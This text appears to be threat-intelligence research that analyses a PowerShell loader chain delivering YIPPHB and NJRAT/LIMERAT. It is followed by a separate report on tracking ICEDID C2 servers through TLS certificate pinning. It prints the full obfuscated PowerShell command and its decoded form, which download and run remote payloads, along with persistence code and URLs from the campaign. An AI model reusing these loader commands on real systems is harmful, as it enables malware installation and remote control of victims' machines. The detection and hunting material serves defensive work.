"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD

While this technique is not overly complex in that it simply replaces the icons with an ASCII character, it is creative. This technique could delay automated analysis of Base64 encoded strings unless the Powershell command was either fully executed or an analysis workflow was leveraged to process Unicode and replacement functions.

Looking at the Powershell command, we were able to identify a simple process to replace the Unicode watch icons (⌚⌚⌚) with a U. To illustrate what’s happening, we can use the data analysis tool created by the GCHQ: CyberChef.

By loading the “Find / Replace”, the “Decode Base64”, and the “Decode text (UTF-16LE)” recipes, we can decode the Powershell string.

Within the decoded string we can see how the loader, follow-on dropper, and implant are installed.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The loader is downloaded from https://tinyurl[.]com/2erph6cs. TinyURL is a popular URL shortening service, and while it has very legitimate uses, it can also be abused to hide malicious URLs that blend into normal network traffic.

To unfurl the TinyURL, we can use the JSON API endpoint from Unshorten.me:

$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
    "requested_url": "tinyurl[.]com/2erph6cs",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
    "usage_count": 3,
    "remaining_calls": 8
}

Downloading dllsica.txt from the Discord content delivery network provided us with another Base64-encoded string. Unlike the previous Powershell string, the string from dllsica.txt can easily be decoded without substitutions.

Using the cat , base64 , xxd , and head command line tools, we can see that this has a hexadecimal value of 4d5a and an MZ magic number in the file header. This confirms we’re analyzing a PE file.

• cat - catenates a file
• base64 -D - the -D switch decodes a base64 encoded file
• xxd - creates a hexadecimal dump of an input
• head - returns the first 10 lines of a file

$ cat dllsica.txt | base64 -D | xxd | head

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
...truncated...

Next, we deobfuscated the binary, wrote it to disk, then generated a SHA-256 hash.

• file - verify the file type
• shasum -a 256 - the -a 256 switch uses the 256-bit hashing algorithm

$ cat dllsica.txt | base64 -D > dllsica.bin

$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2

Now that the loader has been collected, it executes the method PUlGKA inside of the class NwgoxM.KPJaN. From the original Base64 decoded string

…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:

We may publish future research on this loader, which maintains access by copying itself into the user's Startup folder as a natively-supported VBscript.

FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");

Dropper phase

From the loader's execution image above, we can see that the loader uses a reversed variable (text = bdw6ufv4/moc[.]lruynit//:sptth) to download an additional file using a TinyURL. Using the command line tool, rev , we can correct the reversed URL.

$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev

https://tinyurl[.]com/4vfu6wd

We can unfurl the TinyURL using the Unshorten.me JSON API endpoint to identify the download location of the dropper.

$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
    "requested_url": "tinyurl[.]com/4vfu6wd",
    "success": true,
    "resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
    "usage_count": 2,
    "remaining_calls": 9
}

Another encoded file is downloaded from Discord: pesica.txt. As of this writing, VirusTotal reports zero detections of this file.

With clues from dllsica.bin , we can see that pesica.txt uses UTF-8 encoding. To further analyze our file, we need to replace the ▒▒▒▒ values with an A , and Base64 decode the resulting strings.

…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
	Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
	{
	text4 + "\\InstallUtil.exe",
	Convert.FromBase64String(text3)
	});
…truncated…

We can stack recipes to perform these functions with CyberChef.

Once we’ve decoded pesica.txt , we calculate the hash bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf. The decoded output of pesica.txt shows the YippHB module name.

...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...

This module name is where the dropper name of YIPPHB is derived from. YIPPHB was originally discovered by security researcher Paul Melson. Paul publicly disclosed this dropper in October of 2022 at the Augusta BSides security conference.

The YIPPHB dropper is executed using the Installutil.exe command-line utility to start the RAT phase.

We are referring to the next phase as the RAT phase. All of the binaries we were able to collect in this phase were RAT implants (NJRAT, LIMERAT, and ASYNCRAT); however, the modular nature of this intrusion set would allow for any implant type to be used.

RAT phase

Now that the YIPPHB dropper has been executed, it picks up the second part of the original Unicode icon script to install the RAT implant.

…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

The RAT was retrieved from https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt, which is reversed from txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth.

Looking at the file 10oct8000.txt file, we can see that it is a reversed, Base64-encoded file.

=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…

We can correct this file and Base64 decode it using the command-line tools rev and base64 and save the output as 10oct8000.bin.

$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin

10oct8000.bin has a SHA256 hash of 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3. This file is reported on VirusTotal as a variant of the LIMERAT or NJRAT malware families (depending on the source).

Like the loader and YIPPHB dropper, we’ll look at some basic capabilities of the RAT, but not fully reverse it. Researching these capabilities led us to previous research that associates this sample with NJRAT or LIMERAT (1, 2).

The RAT starts its execution routine by connecting back to the command and control server. In a separate thread, it also starts a keylogger routine to gather as much information as possible.

For the connection to the command and control server, the RAT uses the configuration information listed as global variables. The victimName variable ( TllBTiBDQVQ= ) is a Base64 encoded string that decodes to “NYAN CAT”. Based on the code similarity with a known NJRAT code base, this C2 configuration information adds to our conviction that this is related to NJRAT.

If the RAT is connected to a command and control server that is listening for commands, it sends the following additional information:

• victimName ( vn )
• Hardware ID
• Username
• OSFullName
• OSVersion Servicepack
• if the Program Files folder ends in X86 or not
• if a webcam is present
• the window name
• a permission check on the registry

If successfully connected to a C2 server, the operator is able to interact with the implant through a series of commands. Security researchers Hido Cohen and CyberMasterV provide a thorough explanation of these commands, and the overall functionality of the RAT, here and here

Activity clusters

We were able to run additional searches through our telemetry data to identify several clusters of activity. We’ve provided an EQL query below:

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

This query allowed us to identify Powershell activity that uses both Unicode characters and the replace function.

Looking at these results, we were able to cluster activity by the variable name in combination with the Unicode icon. In the example that sourced this initial research, one cluster would be the variable iUqm and the ⌚⌚⌚Unicode icons.

Of note, cluster 11 uses all of the same techniques as the other clusters, but instead of a Unicode icon for substitution, it used a series of ASCII characters ( _*/}+/_= ). The intrusion operated the same way and we are unclear why this cluster deviated from using a Unicode icon.

Collecting and parsing network data

To scale the analysis of this intrusion set, we wanted to automate the extraction of the loader and dropper encoded URLs from the process.command_line fields and the follow-on C2 used by the RAT implants.

Loader and Dropper

As noted in the Loader and Dropper phases, the Base64-encoded string needs substitution of the Unicode icons and to be reversed and decoded. After that process, the first URL is readily available, while the second URL requires reversing yet again.

To avoid execution of the Powershell command itself, we can leverage the text processing tool awk. What follows is a breakdown of how to do the analysis and we’ll provide a shell script with all of it for reference.

To get started, we’ll need to get access to our data on the command line where we can pipe it to awk. We’ve published a tool called eql-query (and another called lucene-query ) to do just that.

Using eql-query , we can run an EQL query to retrieve the last 180-days of results, retrieving only the process.command_line field. The value of doing this from the command line is that it allows us to further parse the data and pull out additional strings of interest.

eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'

Next, use jq to pass the raw string to awk using jq '._source.process.command_line' -r | awk.

If you’re doing this iteratively, it’s best to write the results from eql-query to a file, and then operate on the results locally until you have your pipeline how you’d like it.

The next step is to capture the strings used in the Powershell replace commands so we can perform that function ourselves. The best way to do this using awk is by capturing them with a regular expression.

This matches the first and second arguments to replace. The first argument is Unicode and possibly not friendly as an awk pattern, so we’ll need to escape it first. Once we’ve made the replacement, we’ll print out the “clean” code, the string to find, and the replacement text.

function escape_string( str ) {
    gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
    return str
}
{
    match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
    str=escape_string(arr[1]);
    rep=arr[2];
    print gensub(str, rep, "g")
}

Finally we can grep out the Base64 code (using another regex) and reveal the obfuscated Powershell script.

grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'

This automates the manual conversion process we outlined in the Loader, Dropper, and RAT phases above.

$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))

Parsing the URLs from this text should be another simple awk match, followed by flipping the second URL, however, Powershell’s default encoding is UTF-16LE and awk only supports UTF-8 or ASCII encoding. A tool called iconv can perform the necessary conversion.

echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'

Once converted, the rest is straightforward parsing. Our output will contain url1 , url2 , and a copy of the Unicode strings and their replacements. The URLs are the forward and reverse URLs for each code sample, respectively.

For further details or to try it against your own data, see the shell script that combines it all.

Now that we have automated the collection and parsing of the URLs for the loader and dropper, we can move on to the RAT infrastructure.

RAT

As evident in the original Powershell script, we know the RAT uses additional network infrastructure. To enumerate this, we need to pull down the RAT much like the dropper would, take a unique set URLs for each url1 and url2 output in the previous step, loop through each list, and use curl to download them.

This process requires interacting with adversary-owned or controlled infrastructure. Interacting with adversary infrastructure requires disciplined preparation that not all organizations are ready to pursue. If you don't already have strong knowledge of legal considerations, defensive network egress points, sandboxes, an intelligence gain/loss strategy, etc., the following is presented informationally.

As the loader never saves the downloaded files to disk and there aren’t always filenames, so to keep track of samples, we’ll use a simple counter. This gives us this simple loop:

ctr=1
for line in $(cat ../url-1.txt); do
    curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
    ctr=$((ctr + 1))
done

We use -v to capture the request and response headers, -L to follow redirects, and --connect-timeout to speed up the process when the infrastructure is down. Finally, save the curl output to a log file while any files downloaded are saved as file-X , where X is the value of the counter.

Any RAT files downloaded are Base64-encoded. We can identify valid Base64-encoded files using the file command. A Base64-encoded file will be identified as “ASCII text, with very long lines (length), with no line terminators” where length is the file size. For files that match this language, we’ll decode them and save them with a .dll extension.

for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/  {print $1}'); do
    rev  <"${entry}" | base64 -d >"${entry}.dll"
done

Now that we have the RAT binaries, we can do some typical static analysis on them. If you have the VirusTotal command line tool and can make API queries, searching for known files is another simple loop over all the saved dll files.

for entry in *.dll; do
	hash=$(sha256sum "${entry}" | awk '{print $1}')
	vt search "${hash}" >"${entry}.vt.yml"
done

Looking at the output, we can see that any yml file (the vt command output) with 0 bytes means no match. These files are unknown to VirusTotal. In this output, we can see that file-30.dll , file-31.dll , and file-34.dll are unknown to VirusTotal.

$ ls -s *.dll{,.vt.yml}

 32 file-28.dll
 32 file-28.dll.vt.yml
 32 file-30.dll
  0 file-30.dll.vt.yml
 32 file-31.dll
  0 file-31.dll.vt.yml
468 file-34.dll
  0 file-34.dll.vt.yml
 48 file-35.dll
 40 file-35.dll.vt.yml
 80 file-38.dll
 36 file-38.dll.vt.yml

The final analysis we’re going to perform is to attempt to dump any domain names from the DLLs. For many executable file formats, the strings command can provide that information. Unfortunately, most of these DLLs are .Net assemblies and the strings command won’t work to extract strings from .Net assemblies. The file command can again help us identify these as in this example:

$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

The upside of .Net is that it is easily disassembled and the Mono project provides a tool just for that purpose, ikdasm. This gives us our final loop to search for domain names or references to HTTP URLs.

for item in *.dll; do
    ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done

For more details you can refer to this shell script that puts this second stage of analysis together.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Resource Development
• Execution
• Persistence
• Defense Evasion
• Discovery
• Command and Control

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Acquire Infrastructure
• Stage Capabilities: Upload Malware
• Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
• Command and Scripting Interpreter: Visual Basic
• Command and Scripting Interpreter: PowerShell
• System Binary Proxy Execution: InstallUtil
• Obfuscated Files or Information

Detection logic

Behavior rules

• Connection to WebService by a Signed Binary Proxy
• Suspicious PowerShell Execution
• Process Execution with Unusual File Extension
• Script File Written to Startup Folder
• Suspicious PowerShell Execution via Windows Scripts
• Connection to Dynamic DNS Provider by an Unsigned Binary

Hunting queries

Identifying Unicode in Powershell can be accomplished with either a KQL or EQL query.

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration.

KQL query

Using the Discover app in Kibana, the below query will identify the use of Powershell with Unicode strings. While this identified all of the events in this research, it also identified other events that were not part of the REF4526 intrusion set.

The proceeding and preceding wildcards ( * ) can be an expensive search over a large number of events.

process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)

EQL query

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, this query will identify the use of Powershell with Unicode strings and the replace function. This identified all observed REF4526 events.

intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")

References

The following were referenced throughout the above research:

• https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
• https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
• https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
• https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
• https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
• https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
• https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/

Observables

All observables are also available for download in both ECS and STIX format in a combined zip bundle.

The following observables were discussed in this research.

• ICEDID is a full-featured trojan that uses TLS certificate pinning to validate C2 infrastructure.
• While the trojan has been tracked for several years, it continues to operate relatively unimpeded.
• A combination of open source collection tools can be used to track the C2 infrastructure.

For information on the ICEDID configuration extractor and C2 infrastructure validator, check out our posts detailing this:

• ICEDID configuration extractor
• ICEDID network infrastructure checking utility

Preamble

ICEDID, also known as Bokbot, is a modular banking trojan first discovered in 2017 and has remained active over the last several years. It has been recently known more for its ability to load secondary payloads such as post-compromise frameworks like Cobalt Strike, and has been linked to ransomware activity.

ICEDID is implemented through a multistage process with different components. Initial access is typically gained through phishing campaigns leveraging malicious documents or file attachments.

We’ll be discussing aspects of ICEDID in the next couple of sections as well as exploring our analysis technique in tracking ICEDID infrastructure.

• Initial access
• Command and control
• Persistence
• Core functionality
• Network infrastructure

As mentioned in the Preamble, ICEDID has been around for many years and has a rich feature set. As the malware has been analyzed multiple times over the years, we are going to focus on some of the more interesting features.

Initial access

ICEDID infections come in many different forms and have been adjusted using different techniques and novel execution chains to avoid detection and evade antimalware products. In this sample, ICEDID was delivered through a phishing email. The email contains a ZIP archive with an embedded ISO file. Inside the ISO file is a Windows shortcut (LNK) that, when double-clicked, executes the first stage ICEDID loader (DLL file).

The Windows shortcut target value is configured to execute %windir%\system32\rundll32.exe olasius.dll,PluginInit calling the PluginInit export, which starts the initial stage of the ICEDID infection. This stage is responsible for decrypting the embedded configuration, downloading a GZIP payload from a C2 server, writing an encrypted payload to disk ( license.dat ), and transferring execution to the next stage.

The first ICEDID stage starts off by deciphering an encrypted configuration blob of data stored within the DLL that is used to hold C2 domains and the campaign identifier. The first 32 bytes represent the XOR key; the encrypted data is then deciphered with this key.

Command and control

ICEDID constructs the initial HTTP request using cookie parameters that contain hexadecimal data from the infected machine used for fingerprinting the victim machine. This request will proceed to download the GZIP payload irrespective of any previous identifying information.

eSentire has published research that describes in detail how the gads, gat, ga, u, and io cookie parameters are created.

Below are the cookie parameters and example associated values behind them.

The downloaded GZIP payload contains a custom structure with a second loader ( hollow.dat ) and the encrypted ICEDID core payload ( license.dat ). These two files are written to disk and are used in combination to execute the core payload in memory.

The next phase highlights a unique element with ICEDID in how it loads the core payload ( license.dat ) by using a custom header structure instead of the traditional PE header. Memory is allocated with the sections of the next payload looped over and placed into their own virtual memory space. This approach has been well documented and serves as a technique to obstruct analysis.

Each section has its memory protection modified by the VirtualProtect function to enable read-only or read/write access to the committed region of memory using the PAGE_READWRITE constant.

Once the image entry point is set up, the ICEDID core payload is then loaded by a call to the rax x86 register.

Persistence

ICEDID will attempt to set up persistence first using a scheduled task, if that fails it will instead create a Windows Registry run key. Using the Bot ID and RDTSC instruction, a scheduled task or run key name is randomly generated. A scheduled task is created using taskschd.dll , configured to run at logon for the user, and is triggered every 1 hour indefinitely.

Core functionality

The core functionality of the ICEDID malware has been well documented and largely unchanged. To learn more about the core payload and functionality, check out the Malpedia page that includes a corpus of completed research on ICEDID.

That said, we counted 23 modules during the time of our analysis including:

• MitM proxy for stealing credentials
• Backconnect module
• Command execution (PowerShell, cmd)
• Shellcode injection
• Collect
  • Registry key data
  • Running processes
  • Credentials
  • Browser cookies
  • System information (network, anti-virus, host enumeration)
• Search and read files
• Directory/file listing on user’s Desktop

ICEDID configuration extractor

Elastic Security Labs has released an open source tool, under the Apache 2.0 license, that will allow for configurations to be extracted from ICEDID samples. The tool can be downloaded here.

TLS certificate pinning

Previous research into the ICEDID malware family has highlighted a repetitive way in how the campaigns create their self-signed TLS certificates. Of particular note, this technique for creating TLS certificates has not been updated in approximately 18 months. While speculative in nature, this could be reflective of the fact that this C2 infrastructure is not widely tracked by threat data providers. This allows ICEDID to focus on updating the more transient elements of their campaigns (file hashes, C2 domains, and IP addresses).

The team at Check Point published in-depth and articulate research on tracking ICEDID infrastructure using ICEDID’s TLS certificate pinning feature. Additionally, Check Point released a script that takes an IP address and port, and validates the suspect TLS serial number against a value calculated by the ICEDID malware to confirm whether or not the IP address is currently using an ICEDID TLS certificate.

We are including a wrapper that combines internet scanning data from Censys, and ICEDID C2 infrastructure conviction from the Check Point script. It can be downloaded here.

Dataset

As reported by Check Point, the TLS certificate information uses the same Issuer and Subject distinguished names to validate the C2 server before sending any data.

To build our dataset, we used the Censys CLI tool to collect the certificate data. We needed to make a slight adjustment to the query from Check Point research, but the results were similar.

censys search 'services.tls.certificates.leaf_data.subject_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.tls.certificates.leaf_data.issuer_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.port=443'

[
  {
    "ip": "103.208.85.237",
    "services": [
      {
        "port": 22,
        "service_name": "SSH",
        "transport_protocol": "TCP"
      },
      {
        "port": 80,
        "service_name": "HTTP",
        "transport_protocol": "TCP"
      },
      {
        "port": 443,
        "service_name": "HTTP",
        "certificate": "c5e7d92ba63be7fb2c44caa92458beef7047d7f987aaab3bdc41161b84ea2850",
        "transport_protocol": "TCP"
      }
    ],
    "location": {
      "continent": "Oceania",
      "country": "New Zealand",
      "country_code": "NZ",

…truncated…

This provided us with 113 IP addresses that were using certificates we could begin to attribute to ICEDID campaigns.

JARM / JA3S

When looking at the data from Censys, we also identified other fields that are useful in tracking TLS communications: JARM and JA3S, both TLS fingerprinting tools from the Salesforce team.

At a high-level, JARM fingerprints TLS servers by actively collecting specific elements of the TLS Server Hello responses. JA3S passively collects values from the TLS Server Hello message. JARM and JA3S are represented as a 62-character or 32-character fingerprint, respectively.

JARM and JA3S add additional data points that improve our confidence in connecting the ICEDID C2 infrastructure. In our research, we identified 2ad2ad16d2ad2ad22c2ad2ad2ad2adc110bab2c0a19e5d4e587c17ce497b15 as the JARM and e35df3e00ca4ef31d42b34bebaa2f86e as the JA3S fingerprints.

It should be noted that JARM and JA3S are frequently not uncommon enough to convict a host by themselves. As an example, in the Censys dataset, the JARM fingerprint identified over 15k hosts, and the JA3S fingerprint identified over 3.3M hosts. Looking at the JARM and JA3S values together still had approximately 8k hosts. These are data points on the journey to an answer, not the answer itself.

ICEDID implant defense

Before ICEDID communicates with its C2 server, it performs a TLS certificate check by comparing the certificate serial number with a hash of the certificate's public key. As certificate serial numbers should all be unique, ICEDID uses a self-signed certificate and an expected certificate serial number as a way to validate the TLS certificate. If the hash of the public key and serial number do not match, the communication with the C2 server does not proceed.

We used the Check Point Python script (which returns a true or false result for each passed IP address) to perform an additional check to improve our confidence that the IP addresses were part of the ICEDID C2 infrastructure and not simply a coincidence in having the same subject and issuer information of the ICEDID TLS certifications. A true result has a matching ICEDID fingerprint and a false result does not. This resulted in 103 IPs that were confirmed as having an ICEDID TLS certificate and 10 that did not (as of October 14, 2022).

Importing into Elasticsearch

Now that we have a way to collect IPs based on the TLS certificate elements and a way to add additional context to aid in conviction; we can wrap the logic in a Bash script as a way to automate this process and parse the data for analysis in Elasticsearch.

#!/bin/bash -eu

set -o pipefail

SEARCH='services.tls.certificates.leaf_data.subject_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.tls.certificates.leaf_data.issuer_dn:"CN=localhost, C=AU, ST=Some-State, O=Internet Widgits Pty Ltd" and services.port=443'

while read -r line; do
    _ts=$(date -u +%FT%TZ)
    _ip=$(echo ${line} | base64 -d | jq '.ip' -r)
    _port=$(echo ${line} | base64 -d | jq '.port' -r)
    _view=$(censys view "${_ip}" | jq -c)
    _is_icedid=$(python3 -c "import icedid_checker; print(icedid_checker.test_is_icedid_c2('${_ip}','${_port}'))")

    echo "${_view}" | jq -S --arg is_icedid "${_is_icedid}" --arg timestamp "${_ts}" '. + {"@timestamp": $timestamp, "threat": {"software": {"icedid": {"present": $is_icedid}}}}'
done < <(censys search --pages=-1 "${SEARCH}" | jq '.[] | {"ip": .ip, "port": (.services[] | select(.certificate?).port)} | @base64' -r) | tee icedid_infrastructure.ndjson

This outputs the data as an NDJSON document called icedid_infrastructure.ndjson that we can upload into Elasticsearch.

In the above image, we can see that there are hosts that have the identified JARM fingerprint, the identified TLS issuer and subject elements, but did not pass the Check Point validation check. Additionally, one of the two hosts has a different JA3S fingerprint. This highlights the value of the combination of multiple data sources to inform confidence scoring.

We are also providing this script for others to use.

Observed adversary tactics and techniques

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

As stated above, ICEDID has been extensively analyzed, so below we are listing the tactics and techniques that we observed and are covered in this research publication. If you’re interested in the full set of MITRE ATT&CK tactics and techniques, you can check out MITRE’s page on ICEDID.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

• Discovery
• Execution
• Persistence
• Defense evasion
• Reconnaissance
• Resource development
• Initial access
• Command and control
• Privilege Escalation

Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

• Permission Groups Discovery
• Account Discovery
• Command and Scripting Interpreter
• Software Discovery
• System Binary Proxy Execution
• Remote System Discovery
• Network Share Discovery
• Phishing: Spearphishing attachment
• Scheduled Task/Job: Scheduled Task
• Obfuscated Files or Information
• Process Injection

Detections and preventions

Detection logic

• Enumeration of Administrator Accounts
• Command Shell Activity Started via RunDLL32
• Security Software Discovery using WMIC
• Suspicious Execution from a Mounted Device
• Windows Network Enumeration

Preventions

• Malicious Behavior Detection Alert: Command Shell Activity
• Memory Threat Detection Alert: Shellcode Injection
• Malicious Behavior Detection Alert: Unusual DLL Extension Loaded by Rundll32 or Regsvr32
• Malicious Behavior Detection Alert: Suspicious Windows Script Interpreter Child Process
• Malicious Behavior Detection Alert: RunDLL32 with Unusual Arguments
• Malicious Behavior Detection Alert: Windows Script Execution from Archive File

YARA

Elastic Security has created YARA rules to identify this activity. Below is a YARA rule specifically to identify the TLS certificate pinning function used by ICEDID.

rule Windows_Trojan_IcedID_cert_pinning {
    meta:
        author = "Elastic Security"
        creation_date = "2022-10-17"
        last_modified = "2022-10-17"
        threat_name = "Windows.Trojan.IcedID"
        arch_context = "x86"
        license = "Elastic License v2"
        os = "windows"
    strings:
		$cert_pinning = { 74 ?? 8B 50 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 0F BA F0 ?? 48 8B 51 ?? 48 8B 4A ?? 39 01 74 ?? 35 14 24 4A 38 39 01 74 ?? }
    condition:
        $cert_pinning
}

References

The following were referenced throughout the above research:

• https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
• https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/
• https://attack.mitre.org/software/S0483/

Indicators

The indicators observed in this research are posted below. All artifacts (to include those discovered through TLS certificate pinning) are also available for download in both ECS and STIX format in a combined zip bundle.
